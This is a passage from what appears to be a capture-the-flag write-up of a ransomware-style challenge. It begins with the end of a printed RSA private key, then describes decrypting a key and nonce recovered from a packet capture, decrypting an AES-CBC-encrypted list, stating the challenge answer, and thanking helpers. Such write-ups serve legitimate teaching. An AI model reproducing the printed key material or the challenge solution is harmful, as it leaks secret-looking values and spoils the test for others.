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
-----END RSA PRIVATE KEY-----

The encryption key

Having obtained the private key, we can now decrypt the encrypted key retrieved from the pcap:

The result is 1d1c6165774bd4ef06f2910884b79484,9e60e7c02163359a, wich is in the format <key>,<nonce>.

The solution (Finally 😁)

Knowing that the executable encrypts the file with AES-CBC and having obtained the encryption key, we can finally decrypt the naughty nice list:

The solution of the challenge is the name of this last child: “Xena Xtreme”!

Thanks

Oh my god, this was so painful…I loved it! 😁 I have so many people to thank on this one - especially on the digest part - hopefully I don’t miss anyone.

Thanks to @JollyFrogs

“oh my god…there’s a hard part?”

Thanks to @thezentester

“bruh, you killin me - i cant read that”

Thanks to @Shuckle Lord Mixone

“and I even noticed that “debug data” section in the script…”

Thanks to @winter_soldier

Thanks for the patience!

Thanks to @devastati0n

Your help and the patience were just invaluable!